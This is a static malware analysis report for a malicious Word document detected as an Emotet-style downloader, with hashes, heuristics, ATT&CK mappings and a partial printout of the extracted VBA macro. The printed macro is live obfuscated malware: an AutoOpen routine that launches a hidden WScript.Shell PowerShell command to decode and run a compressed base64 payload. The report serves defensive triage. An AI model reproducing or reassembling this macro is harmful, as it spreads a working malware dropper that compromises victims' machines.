Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eeebf505a19f94f3…

MALICIOUS

Office (OLE)

152.0 KB Created: 2018-04-04 14:14:00 Authoring application: Microsoft Office Word First seen: 2018-04-23
MD5: 8b916def531b55e2773070bc1bb72f1f SHA-1: cddde86b35c8a378ddc07479d253d6fbe410233f SHA-256: eeebf505a19f94f35d33b97b81d09ec85b1c55890c8743a320f144e2beee5f53
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated but the presence of `CreateObject` and auto-execution markers like `AutoOpen` strongly suggests it's designed to download and execute a second-stage payload. The ClamAV detection `Doc.Malware.Emodldr-10025032-0` further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(GRfTHVAvlW).Run QtIqTKBkht + Chr(VBA.vbKeyC) + oXjwllNs + vkVUmQTHH + qNpoSGkB, vbHide
Select Case duhSK
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub _
AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45887 bytes
SHA-256: 7d3cc047ba0e48ad837b4f37c823f930f33b0e2b52d1befed5802cafdf788df9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
647 of 989 identifiers look randomly generated (e.g. 'ECfWvavHvg59qUTHnmezdWL5pq8gnngnCXinZP0w'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 13 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EmwzHbkIQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "kwTiXkjobjM"
Function YNcHjvlLuzv()
On Error Resume Next
Select Case ctvDO
         Case 68034
            PIDfa = 53932
            RDHuc = Sqr(77357)
         Case 1850
            JEGFI = CSng(oRRpZU)
            njQmR = GChtWa
End Select
CmSzudYiZ = CjZjD("qMOdE]::DecOmPREss) | .('%') {.('neW-O'+'B'+'JE'+'cT') ('I'+'o.sTream'+'R'+'Ea'+'DEr')($_ , [TExT.EnCODInG]::aSCIi )} ).READTOenD() Naia0Rd", 2, 131)
Select Case LNDJBz
         Case 47082
            kqzJb = 60707
            qlpAHo = Sqr(57304)
         Case 43922
            HLwuLc = CSng(jiWSb)
            IncwA = qTcpJ
End Select
Select Case PaWDus
         Case 84683
            VRjkri = 29607
            GRDSd = Sqr(49546)
         Case 25586
            iUDsTp = CSng(iHVQI)
            wCPPcp = qiSjp
End Select
pZdmvAGKKE = CjZjD("@riXRvpfi698mHSxEO4z+nDsX0kvd/I58CPk69E/ekedqcPINzhHumz+hL508lGBPGt+zfwG75F+zFs8bLxKPxTYf81FO/Up2D6B/evMH3by+y3vEZuR153meScdLjUPlXitnO4b/ciHLfetA/tlfMp8Mt4Dse+AdYHxcu7It92Udy/9om6oDrz/PZzvWYrXfao6", 6, 188)
Select Case PjQLz
         Case 80080
            nYapz = 21710
            KCdVRG = Sqr(39026)
         Case 16018
            oCBkq = CSng(vBXDHZ)
            NwYbvH = cZPQJ
End Select
Select Case bDtVUn
         Case 96755
            jGTWYC = 15220
            Ekzkt = Sqr(57222)
         Case 45967
            PsjaK = CSng(zraPAv)
            iEjjmv = CoFpf
End Select
mMAdMEP = CjZjD("pPP9n3UMdMv6iPrbH7Ek28Mt5wPzk+rdabL2Rm3nj5jvRXfbFGvxHgnTN8L1SGo78bHtXyJ6anhjTpMPFbCy4jTTn2z/heMFzwj/gLO2qluGfkR+HDCRcd5MBywL+Rhr/mR/6LuaWH83", 3, 133)
Select Case PZiCu
         Case 95017
            bFbGXa = 544
            cwIBM = Sqr(73556)
         Case 49397
            OEGiQP = CSng(mrvpTX)
            YVDQD = cdJLv
End Select
Select Case EHSwFJ
         Case 90523
            FQWMTY = 10943
            OjPGHm = Sqr(76201)
         Case 33907
            pLFUz = CSng(DjzJFs)
            DfbJk = JrYDq
End Select
kwbMdJQJs = CjZjD("iQUGK/+wr0efj4YPx3m3c+K+vfjL27yWwl8HnnoUT+V4f5oL4Js4P+mco/jmaPVrOReN8UaH+hK30zrEh7yB2wFxGy+RBwbxi0Oee8vTPm0uXogj4dD4bqxLp3pW4t1Wdz", 6, 123)
Select Case hTvrVR
         Case 38397
            cQzpV = 11939
            SdWOAm = Sqr(86875)
         Case 54651
            fwCOIf = CSng(IPdRT)
            rbslr = nhlniv
End Select
Select Case ECKjQh
         Case 62990
            qFBwMp = 51541
            MrmsYP = Sqr(99629)
         Case 42027
            ZfESS = CSng(ZrPjz)
            ivJGqo = UCIUGb
End Select
FiUiiqGRzSH = CjZjD("tEXcd8([io.memoRySTReam][sySTEM.CoNveRT]::fromBasE64StrING( 'TVhdb9vGFvwreiiuE0AJ+CFaSYE+rCxWIdolw9RqQRZ9cBWXlmU7F4lxVxb64+/OmSEVwIAgerl7PBq", 7, 132)
Select Case wGqWoC
         Case 78570
            rCcSX = 77030
            HwGbni = Sqr(92368)
         Case 55672
            ibSBHQ = CSng(wrYSS)
            tuwJJ = GiXQt
End Select
Select Case ULzjT
         Case 15012
            NGINtB = 47405
            zwUuM = Sqr(9209)
         Case 63973
            ccAqkJ = CSng(pZYSP)
            KUfBRz = oPJJG
End Select
BBXDi = CjZjD("2ai .('iNVO'+'Ke-EXPrEs'+'s'+'Io'+'n')( .('neW'+'-O'+'BJEcT')  ('sYS'+'te'+'m.'+'iO.'+'COm'+'PREssioN.dEflA'+'T'+'eST'+'whjw", 4, 117)
Select Case XwqdjA
         Case 74751
            UDTQt = 8826
            SoViJv = Sqr(74824)
         Case 53101
            suHjLN = CSng(qkClW)
            wsRcQp = MkXsO
End Select
Select Case KOPirD
         Case 81395
            SoCRGV = 14224
            nXjtt = Sqr(63356)
         Case 9837
            ZYKFH = CSng(iEqQHt)
            hhYXq = VToFY
End Select
AHKVv = CjZjD("WSWgfuI+ueEiEG+15Wt4O+8Tz6+RV1zX23Kt%lG", 4, 31)
Select Case EdAvc
         Case 98910
            JCFTtk = 63874
            KzbpOO = Sqr(80067)
         Case 11756
            KVDJjt = CSng(SmlCFd)
            ORdjU = OfmJnL
End Select
Select Case rwNQE
         Case 6609
            VJXNGv = 29778
            tqVLD = Sqr(9287)
         Case 86210
            iSkSNG = CSng(IPtUn)
            QRwow = kUXzc
End Select
qmAmBo = CjZjD("8tD7BvjXW85p7Ye3zF/qOuOc879U+Elt/kMnLcac4y5wfO1cMO4T5aXvT8Q/8CL4e+AvIP2sXi7VvPqOB8d5pT1e9Tc3Fu9LT7MAdbvuM/acKR6cv m7pGiiZ", 2, 112)
Select Case jIwcmb
         Case 27965
            GfzUkM = 29914
            PzMacA = Sqr(57219)
         Case 47555
            XEzIU = CSng(THfiw)
            jdRFoG = TcDmpz
End Select
Select Case lwDFGB
         Case 57606
            ZdPhWM = 73841
            sfpYw = Sqr(16290)
         Case 64981
            XTnmPz = CSng(rHNTZn)
            zpDjO = CYYuS
End Select
CdifBGYEl = CjZjD("@wm.br6cZ2kxz5LlfLnAX5q/ny+zeRof5En8X1yVJPP0fR7fWM7T4nJe5PNlOi/ezbPs3TxNL+Mr8R/54vXrt5vyuS6fQ/P1l6uv5ef2az", 5, 99)
Select Case dEIjl
         Case 55109
            RinOr = 49905
            wYaJsM = Sqr(57474)
         Case 54017
            zVRuZj = CSng(usUwUb)
            XbrJVi = aLGmL
End Select
Select Case fHPoS
         Case 30540
            arlVvz = 38338
            idXQD = Sqr(96784)
         Case 79789
            jLzpE = CSng(joJNHZ)
            QpYYDG = QJLFP
End Select
LwuGsfcuzA = CjZjD("CounaB3jEOuQZGCfPdcwP+1v/kA/6sFWdS9Q/M5xYH6wfhnPDJeK1OhyA34PhDPFh/4E4ZJ2tH3fEXcwD+MTnZpwv1dXeQ76Hab7qsX4t68n3DVf5hF+8F5hPbfiu8J71mfWzPh8tfpAN0UE", 4, 136)
Select Case fwGMjO
         Case 80564
            idUZod = 16535
            LirumO = Sqr(76800)
         Case 96871
            ArjwXz = CSng(ZSRniz)
            tjnhME = OdAUwd
End Select
Select Case lwbkJK
         Case 85704
            uuwAW = 75512
            PtVQwM = Sqr(414)
         Case 16910
            vUibi = CSng(rGpSz)
            naoaow = zLdzAP
End Select
cuDqz = CjZjD("iEk96UsvfjjpGvdtNvwtwzlrxTUl9t3vy+PsK57w735vIQ6qHH/le+9En6/ce+lX6cpsT3ZvpVxLp9ONZfw/q4068XIm3dtPH8AG", 3, 94)
Select Case Cfurbl
         Case 79976
            opbRm = 82460
            qLDoN = Sqr(52806)
         Case 37109
            qKPSJD = CSng(UiMwB)
            LzqNp = lzwWJq
End Select
Select Case vVuBX
         Case 57456
            wifPj = 36893
            kWnaI = Sqr(84186)
         Case 90192
            lhiRzu = CSng(ZDqpr)
            kWRiaT = AGNWh
End Select
LXYKRc = CjZjD("djr0vzvhq0X/Fpqnk3Q+1/ye7DOo79I14qcUXgfM9Yk6RT3sLY+OPLkuqaPUm8LqI11iX8a8rX/39p7FAf7l3FA/TNcy8WlhcyS94Bx2xANxlFidw9gMa,z", 5, 111)
Select Case cXRRJ
         Case 69078
            EkMSFj = 55175
            IcYubU = Sqr(99645)
         Case 138
            whYoq = CSng(UMjkSw)
            mhFPi = JwYuq
End Select
Select Case rEVCp
         Case 48383
            ukYEZf = 39729
            CJINjw = Sqr(69166)
         Case 79934
            uoTRQ = CSng(CqDVLt)
            wBONs = iYHrc
End Select
RTEwYKIBR = CjZjD("zMuB/9gdX/e1/ihN+WPN6Jz/oRP4F+yPiI96xcvtD4i/fCQTzT0m9szvreid+95s188uiXzb+RZxvpUXe+1wfpwB77Wh3olwLPxfdK53np+074qXTfRd05V5zzkjif9O48x8b39L0Hxb/X+lz8k+q9hXxVonvtg/xQov+TL+R36es6+XPpy2NBtNBw", 4, 177)
Select Case bUFqha
         Case 14980
            IHAFT = 58185
            VOVKJv = Sqr(83310)
         Case 20973
            zSDaL = CSng(mzrTpd)
            zWvDfC = BItOWI
End Select
Select Case joZGrp
         Case 68392
            HwIvfQ = 82920
            kMwKi = Sqr(20793)
         Case 59572
            HSstc = CSng(BKFKqY)
            nwidw = qjEKQl
End Select
hOdmPAQkpz = CjZjD("MVzA/QBpebZy9zO", 5, 9)
Select Case FHrfEY
         Case 19205
            wZwpL = 29018
            wqUaSJ = Sqr(94039)
         Case 31402
            hjXoX = CSng(HcIvn)
            SZFROr = XhnmYt
End Select
Select Case hrMWOn
         Case 42011
            YCEhrr = 9942
            SfCEXD = Sqr(28564)
         Case 32213
            mGhNdz = CSng(TIspBi)
            LTRFzW = PIbQaR
End Select
Sbvww = CjZjD("C1ubMzOrVrL79403z9/3t7nr2eFPfbG59+fT4,@OUau", 3, 34)
Select Case iRicvj
         Case 55229
            nZvCSO = 66313
            PZjtrl = Sqr(11917)
         Case 95308
            uMWzG = CSng(CimkrN)
            GzIif = KwEMhJ
End Select
Select Case QIwUsP
         Case 30073
            QkjFYh = 93699
            mGsFlB = Sqr(19596)
         Case 85268
            QYufUH = CSng(zCfiz)
            BwIQiD = amUsaR
End Select
EnDhVizwj = CjZjD("@q2Zzvy6Xrvfn31+u1/3bffQvNpPft39p/Zq9kP5dPvP1598d8+3l79GU+Mrpi", 7, 53)
Select Case VCzPwG
         Case 65095
            rVTwcW = 11332
            BNlME = Sqr(93254)
         Case 94262
            WHCLi = CSng(BFCLp)
            FQkrsZ = mziaT
End Select
Select Case QQnNjH
         Case 97883
            brozX = 91140
            OCUWOI = Sqr(68246)
         Case 94663
            TjQpv = CSng(UluLV)
            MUSmkK = CQEma
End Select
wMjioMk = CjZjD("u6Jfzs3Yt0zwZ%n", 2, 7)
Select Case TAcaf
         Case 78616
            TPuzqJ = 13251
            WCFLZ = Sqr(66050)
         Case 4318
            Ckdwiu = CSng(Owpnb)
            sLOXo = waSvbD
End Select
Select Case NCVFMW
         Case 57570
            ADQOU = 89517
            WzNWGj = Sqr(46901)
         Case 11489
            mbSNkV = CSng(adhhDC)
            oAiiPK = vVHCZS
End Select
ooEEfpBfzI = CjZjD("zM7r3TvJl5z1+h3It7fnXxNJ16uxG+d9KiSbo+6VPK+wfvuUT7wIB55mfImn5NvsK/76aeLf6+a+vfbT9fPX958K6+2X8tv15+qp81s9uaX8mU2S5fFPL1M52n+rzY", 7, 117)
Select Case sKwowW
         Case 36395
            DQYfKq = 70516
            NtUMZW = Sqr(53462)
         Case 10068
            vCrFL = CSng(KCvhT)
            sGfSCw = FkAFK
End Select
Select Case jMIjcE
         Case 99508
            FGQJA = 75875
            tiojXP = Sqr(31247)
         Case 94187
            ApuOd = CSng(lbvAM)
            PqoIA = OnrvW
End Select
XzttObwi = CjZjD("VOoXzeL5w6wPiyNzaYX/7f+3iPvF7bXHE+JE/zmtXj/ge88iVx53ys33ieQuLF+dgX8ur1fN4fsD7rfKM+7TIp8J5Fk/MNyDveojfEUdAHB3WJ4g/Pr9Dfezc+F6P/LFvG+tqz7EO8eEc9C/uh7zRBa", 5, 144)
Select Case QhaSw
         Case 35063
            QPDfnJ = 71732
            DUpOza = Sqr(49373)
         Case 56484
            AbXpBJ = CSng(FSnzw)
            TidUwC = KBzPh
End Select
Select Case ElBCDB
         Case 93844
            vtRzfX = 10623
            VcDDnF = Sqr(61391)
         Case 63384
            uvIhs = CSng(HNvjwP)
            rqFsrP = tIKTn
End Select
vuORwXlX = CjZjD("3bki0p6aPw56vpRfP+o++ZJ+vtw9lsDeY3+b7yXSldZb8br9XtKSz7m8+Kc91Zz4+VDjVcK+beEv6fQrzXSY697Qe94H+2FU+9Ul1b3A/mk0RdQb714zV00zGF", 2, 115)
Select Case ZVLtw
         Case 11335
            mJFnt = 6043
            JljqG = Sqr(22902)
         Case 63931
            NwuOQi = CSng(llpuk)
            mBChs = CikRzo
End Select
Select Case cCBLC
         Case 39942
            JlsvdL = 21116
            ssNMu = Sqr(10186)
         Case 28108
            pVHfI = CSng(hAGzn)
            DkzOwU = MccNw
End Select
lDVCm = CjZjD(".z,89mZ7/cXfPFfN09uPv+2+luvbp+fq5tfZ7GJ2MX91sbxcvM8+p2l6uVzk/ySLLF+k+d/pZVIkN0W+KPyweufKg6vD6s5ttq537uTWlfs8rH52pXc3YVW5D527dauV+9m528H9z33Yue3gCleW7mPr3rsPwTWtS9y6i/u4zG0654M7Yj/vVgfbt3Wp27T4fu/WO97Hb", 4, 195)
Select Case zDsRUJ
         Case 8944
            kMpup = 45861
            DrpdXk = Sqr(15461)
         Case 15883
            wNZtBp = CSng(HJrIK)
            jlqiMS = JUJwP
End Select
Select Case XqaiR
         Case 45515
            LIvsu = 99906
            brbzKP = Sqr(9054)
         Case 51990
            bzrjjz = CSng(hCjHX)
            INUHjw = sKNjW
End Select
wzapMSVS = CjZjD("QNoVL7yMeH/+/esBnPbgX7NO1+Czjej7vBuwf921xbjxv4Dldu9pzPc70kEl", 5, 52)
Select Case hiEwi
         Case 33748
            MzkZrm = 24187
            NpLsZp = Sqr(67090)
         Case 27006
            CjFTlQ = CSng(KJRRjc)
            AqaaJ = uPwmRi
End Select
Select Case GDEGcr
         Case 28978
            riPis = 62205
            AimWh = Sqr(80388)
         Case 24604
            NAOUHG = CSng(Pvvbdr)
            MPiDX = MFtkK
End Select
iFhpiDtDDi = CjZjD("hr'+'ea'+'m')JMzFkzq", 2, 12)
Select Case chkfhI
         Case 87898
            rFOXH = 15673
            STnRD = Sqr(26341)
         Case 94427
            XoiSm = CSng(HHiKa)
            wiQNSj = LGALv
End Select
Select Case iWdPWr
         Case 24272
            DFiUS = 51515
            mVsQi = Sqr(10795)
         Case 55228
            MpquK = CSng(LrpoF)
            kFQwv = jBmiz
End Select
TiTwzSwlAF = CjZjD("ziCkZMe4+H1d4r143uD6ged29rmW%L", 7, 21)
Select Case Hucbj
         Case 85432
            ZFwRZj = 94067
            zrNpf = Sqr(24650)
         Case 20781
            hEvVNW = CSng(ndpWnP)
            kLwujK = orQwOl
End Select
Select Case tRiYt
         Case 53573
            YDUUt = 11888
            iWNPt = Sqr(69234)
         Case 75711
            vzoFVa = CSng(LUlwtN)
            wzJtj = XboHC
End Select
ojowQuzjv = CjZjD("KKpjL7IeI68Kx0Cz5hv8NJf+ST2JWUdpGetcG71cKhnKj/xQP+BPlTkHfL0vfCXk8fUt8D3dNr", 4, 68)
Select Case RLFwzT
         Case 51097
            WiknG = 86504
            sziwML = Sqr(21538)
         Case 44794
            FzDdR = CSng(KjCnI)
            FXmcS = AUPVn
End Select
Select Case vIHYj
         Case 24045
            mAtLV = 86977
            tdQzHt = Sqr(41332)
         Case 50449
            KlVnj = CSng(LSWzVD)
            kYnjh = GtqPG
End Select
NzoVuTCSit = CjZjD("VTSnegH6MvIN699M/qTT28Ew/sOQ/SG/EUdX4nXXHCRyt/UNHPG68g7kG6iPnivPQt+1+bP2v5HXk5xuGlA510sJG+Wd+sT+SPxtZvp3uH5b2uiPfveJS85OkTzK/Sp/ej/xzGewTWy7/bvFKXqD/yz/WF65z", 5, 148)
Select Case WFIEa
         Case 887
            VHwnK = 47804
            JpboY = Sqr(45324)
         Case 79484
            tsJYLP = CSng(HUVOW)
            XCNww = hunld
End Select
Select Case JnPJZ
         Case 49219
            vzTXbC = 89404
            wGpIXk = Sqr(17454)
         Case 26684
            YzGdD = CSng(RMhiC)
            RwhkiJ = wHthL
End Select
RTwFjzjW = CjZjD("jz62/C/GF4bqx5+A39OVA3mBeC5xv+ECfWvavHvg59qUTHnmezdWL5pq8gnngnCXinZP0werlhY9e895bf7Z4Xkw8Atxaf4Bf9AV6gnzRR37G/a1+plMb4BvPO/Y3fnYD+0CetH0T8Tz5xvK0ugThOGjfDM/tPL5/Uny58FNIPx6oU9KziXfF54HvN6oaqAKu", 2, 187)
Select Case QhALa
         Case 52073
            ZPkcS = 43581
            rCKtTs = Sqr(15292)
         Case 62753
            IXtaz = CSng(sfQvI)
            YQAGHB = COFSI
End Select
Select Case JuTBSO
         Case 95918
            EsEwl = 17189
            rwZNI = Sqr(31654)
         Case 688
            jwUjc = CSng(RXLDij)
            ZLkupB = jHGuhY
End Select
RSosHimfMY = CjZjD("iu+gH3vkfON5Jd6WjmOenNYbfsATxIMfvucp+UPqyQHvN47rOvnhWn7YfAl90BlXm1K+50C/YX2T3xTu+vM8F5PObDrFJb7fGB8shIPzHNBXW9+srxudT53J2D+c4+QfMCf0F8ws3HL", 2, 132)
Select Case tBYTK
         Case 18060
            kDzhUk = 75311
            svCZK = Sqr(34028)
         Case 72436
            TSPCQc = CSng(azEXXV)
            jYaGoI = MURKPO
End Select
Select Case dAfbw
         Case 63617
            bvtwlF = 64461
            hhYlA = Sqr(70289)
         Case 61996
            EBmRbo = CSng(bublVM)
            hOzVWH = SqozR
End Select
AnjsB = CjZjD("2WdCdH6wjcAU8D58H0irgg/rzqa/04Gi/YfG/FHRz%", 6, 33)
Select Case tDPom
         Case 94461
            aaKPL = 76055
            SCJUL = Sqr(18633)
         Case 6712
            KniOYi = CSng(KzTJij)
            fmwYs = GEhKi
End Select
Select Case iNAjsQ
         Case 34863
            vmNlBN = 39325
            FcDcS = Sqr(59791)
         Case 68590
            Toqjm = CSng(LGvEIY)
            qOZbQ = LdTzZ
End Select
DtNCB = CjZjD("twqQ2zTriXzSi3xzoE/RvUO8QhwN5B3qVEpcs76Tf5bfJo6673w78ht1rqLvoW8Zdfconn2gjjGOXLtU", 7, 71)
Select Case doMsq
         Case 37253
            ipPDa = 66870
            NaHqw = Sqr(9632)
         Case 93011
            ONiBC = CSng(YhAoQi)
            tzOFl = uRaLz
End Select
Select Case OBZtT
         Case 81794
            OicFo = 30211
            Rdidtb = Sqr(55169)
         Case 99141
            FPjwnV = CSng(STdXw)
            jjYBz = GJqvQp
End Select
tERrhStKOA = CjZjD("Rwxxd/vbn/sn+6uHj9fw==' ) ,[SyStem.IO.cOMPRESSiON.cOMpReSSiONajn8q", 3, 59)
Select Case oOPkl
         Case 86021
            UUdku = 68422
            SKmLsm = Sqr(97260)
         Case 88828
            ErdptX = CSng(USHPh)
            Djrihw = FoHOu
End Select
Select Case ntwUwr
         Case 27034
            KlfJT = 68938
            QXNwj = Sqr(83158)
         Case 33178
            bPXBnP = CSng(jdojX)
            avZCv = wfukF
End Select
lKPjiUZbh = CjZjD("Aio2RF5xjdah4ju2HODz7wLgWVpfA+GMdH1GH2H87p7Z1DnU7Wj8G1K1ivzaop+JWXiNuesdz4//3+G7reN6L1cH6hXqwj53hpkX+e8UXz9ki3qPqGbA+xlNYHC3rxn5uEU9gHOh/7Ec86IX", 5, 136)
Select Case ZNBWQj
         Case 85818
            wXEZq = 50697
            ABBVn = Sqr(23585)
         Case 10397
            bowkUS = CSng(jiSOO)
            IMNIn = EDqzL
End Select
Select Case HnRaI
         Case 19128
            AjMiYU = 91365
            GoMzh = Sqr(24457)
         Case 64156
            brtkK = CSng(tObKGl)
            rnzfMC = DoNUwj
End Select
LjWFMX = CjZjD("2WedS/UNfuL5RHxqtp74a/x6k4wXrwPpQH8tprnrxA/3VgXO5lTdCL.w", 2, 49)
Select Case hWwUz
         Case 49383
            pjPZj = 35799
            zCNNJD = Sqr(27736)
         Case 3364
            RVKwU = CSng(dYlaIM)
            dqIMjC = iFcjs
End Select
ScCaaWrB = mAHpfKfI + """" + znbvDGqoJKiF
YNcHjvlLuzv = qUUHZnzST + XEzWMzjLta + SiioWFNuk + ScCaaWrB + NAcRwuz + BBXDi + iFhpiDtDDi + FiUiiqGRzSH + Sbvww + lDVCm + TiTwzSwlAF + wzapMSVS + XzttObwi + lKPjiUZbh + AHKVv + LwuGsfcuzA + qmAmBo + wMjioMk + kwbMdJQJs + RTwFjzjW + AnjsB + LXYKRc + mMAdMEP + ojowQuzjv + LjWFMX + RSosHimfMY + hOdmPAQkpz + NzoVuTCSit + DtNCB + pZdmvAGKKE + RTEwYKIBR + vuORwXlX + cuDqz + ooEEfpBfzI + CdifBGYEl + EnDhVizwj + tERrhStKOA + CmSzudYiZ
Select Case jwrVll
         Case 97563

            sRTZNB = 25055
            CrIwhc = Sqr(40855)
         Case 11606

            UhDdY = CSng(ONzVcj)
            MlNAnu = AsMnz
End Select
End Function

Attribute VB_Name = "zNBvawjSj"
Sub UTobjDDvaO()
On Error Resume Next
Select Case STAEv
         Case 77135

            fqKmdw = 36176
            iAsir = Sqr(36132)
         Case 461

            GMYAn = CSng(ZNNNz)
            uBrfIw = qJiqpJ
End Select
Application.Run "frdrZsRZAwunZ", YNcHjvlLuzv
Select Case UDCrX
         Case 91140

            wtrWn = 91832
            QwZPw = Sqr(76426)
         Case 45018

            JNaujJ = CSng(XWjrY)
            WLVqEM = HzIUBT
End Select
End Sub
Sub _
AutoOpen()
On Error Resume Next
Select Case MJbqVr
         Case 75922

            pQdOIm = 42070
            nwWat = Sqr(71626)
         Case 6987

            ubbZJ = CSng(GsNjz)
            usVhE = VFNpDI
End Select
Call UTobjDDvaO
Select Case iVXitj
         Case 52438

            CwuQO = 68903
            KkBZnG = Sqr(51657)
         Case 91080

            pVQPwM = CSng(XSnfi)
            OUCXJs = bQqtku
End Select
End Sub
Sub frdrZsRZAwunZ(oXjwllNs As String)
On Error Resume Next
Select Case niViDa
         Case 94069

            XQLGqs = 44286
            aECbWh = Sqr(43667)
         Case 30210
            iAzYiW = CSng(DjQszI)
            IlawlM = CCETQ
End Select
UPdJnc = "mffDfZ"
GRfTHVAvlW = iTGFHF + Replace(Chr(VBA.vbKeyW) + UPdJnc, "mffDfZ", Chr(VBA.vbKeyS)) + UZzPsu + Chr(VBA.vbKeyC) + Replace("rmffDfZimffDfZpmffDfZtmffDfZ.mffDfZsmffDfZhmffDfZemffDfZlmffDfZl", "mffDfZ", "") + DGbiAR
Select Case tpvllD
         Case 90089

            zuFOhw = 70533
            KkrbHi = Sqr(76957)
         Case 20888

            rizvb = CSng(TwNodK)
            WBmoc = JiNkS
End Select
CreateObject(GRfTHVAvlW).Run QtIqTKBkht + Chr(VBA.vbKeyC) + oXjwllNs + vkVUmQTHH + qNpoSGkB, vbHide
Select Case duhSK
         Case 61698

            HtibZ = 75816
            drEHiX = Sqr(26093)
         Case 88162

            KKajSB = CSng(EQjHP)
            NSKobI = dfsCk
End Select
End Sub
Function SiioWFNuk()
On Error Resume Next
Select Case wlROE
         Case 29912
            bdHXv = 28855
            bBunMD = Sqr(260)
         Case 52339
            QPrTl = CSng(prvHGz)
            Lhzob = PXLSCN
End Select
qzldGzHTPw = CjZjD("tCmW%! h6an0", 3, 5)
Select Case AIdjNC
         Case 40297
            AwMvV = 71546
            QboIwE = Sqr(80803)
         Case 24723
            YcGLuF = CSng(oGtpjO)
            tDcCK = lsGIaG
End Select
Select Case nzBXQ
         Case 93077
            dsjRiz = 70519
            wUATs = Sqr(63759)
         Case 86785
            wtpzj = CSng(IzziU)
            rsNOVq = WQGBbz
End Select
EFckP = CjZjD("UB0RGaZSpiZHNcwonor9r", 4, 12)
Select Case CBPCh
         Case 43153
            qFiazI = 49691
            mUEdpM = Sqr(6514)
         Case 14067
            zCjWrp = CSng(NBLAHi)
            wzBBnj = YiXmdm
End Select
Select Case zXPzj
         Case 83265
            KIraU = 94863
            NanqFw = Sqr(48663)
         Case 97783
            rXKEk = CSng(RLFfZn)
            tadzwI = rvMhdN
End Select
ioVPKcsp = CjZjD("QFPkpoJRAs%Fl%JF", 4, 8)
Select Case wWlAd
         Case 97802
            YcZmj = 40673
            jUpXum = Sqr(64166)
         Case 24830
            IzQGZ = CSng(KcaWdT)
            UiwoUU = ELOnBL
End Select
Select Case qLIksI
         Case 59418
            iAwjh = 53267
            vcjNoi = Sqr(21653)
         Case 59107
            FwJVk = CSng(dilBn)
            RbqVd = oAioDL
End Select
scufjwjDN = CjZjD("whJs %Y,zX", 5, 2)
Select Case MBuHc
         Case 30009
            jzftzJ = 68472
            XTvfom = Sqr(56757)
         Case 1086
            sKjXid = CSng(vwzYC)
            WIlIbT = wVTOJc
End Select
Select Case Irwrfl
         Case 20230
            wCjOh = 29310
            PvjlRE = Sqr(55608)
         Case 25756
            lGZtp = CSng(tIjEi)
            KlLpO = FqrDMk
End Select
YwBUoCpTwKj = CjZjD("VGFsM%!!%bT8", 5, 6)
Select Case ciqOD
         Case 43280
            djGYLR = 62827
            Iaick = Sqr(48431)
         Case 8865
            XvCiX = CSng(Xiuom)
            uDtji = vifndz
End Select
Select Case fEVGSD
         Case 88179
            FXbLnL = 81858
            WkUZz = Sqr(82891)
         Case 71357
            aljaW = CSng(tpXru)
            GdHmVP = RGoGwa
End Select
NpdiZYB = CjZjD("i42JjqzIFANWF&&se,A", 7, 11)
Select Case jdzJb
         Case 76943
            SfjUT = 35555
            imowQu = Sqr(12316)
         Case 86798
            iEkzTw = CSng(inARlQ)
            NPGcoz = SBwEnU
End Select
Select Case JrqBr
         Case 58307
            TrsHDL = 82114
            InHRYE = Sqr(37646)
         Case 46376
            WupMk = CSng(zbBHU)
            WizTVk = BMrwr
End Select
ntjkijozb = CjZjD("@Dkwv%!&&set %oXjzdtFP", 5, 13)
Select Case qtvfzN
         Case 80154
            iizoS = 66325
            sfCDWH = Sqr(72745)
         Case 16356
            wDUGW = CSng(fwwZuV)
            vDuiK = ABfCBl
End Select
Select Case WqIzi
         Case 90886
            GisFq = 85863
            BQAJj = Sqr(13224)
         Case 71445
            Pbjfjr = CSng(bIQHzZ)
            dfBLVa = AUXqBH
End Select
lwvbjMWjO = CjZjD("v4ziW6HNcwMEi", 7, 5)
Select Case MqNQkX
         Case 50681
            QDOPHC = 68436
            jtuBnU = Sqr(16574)
         Case 46943
            KOPHJo = CSng(jPORCr)
            BYzPz = FThRin
End Select
Select Case ZfpBPR
         Case 90177
            NGQmwk = 51579
            LAMiM = Sqr(98702)
         Case 25812
            PzdZL = CSng(XCbRS)
            dLMot = AtRpPK
End Select
mfGNKjq = CjZjD("OvlO%=!%YNcHjvlLuz3i3", 4, 15)
Select Case wwBMj
         Case 41955
            ShlPnV = 31306
            iNLjR = Sqr(21783)
         Case 90935
            nXoRzU = CSng(akSQNE)
            qsvsz = azBXip
End Select
Select Case dvnrz
         Case 10260
            WuHPv = 20780
            qwKZN = Sqr(10460)
         Case 70351
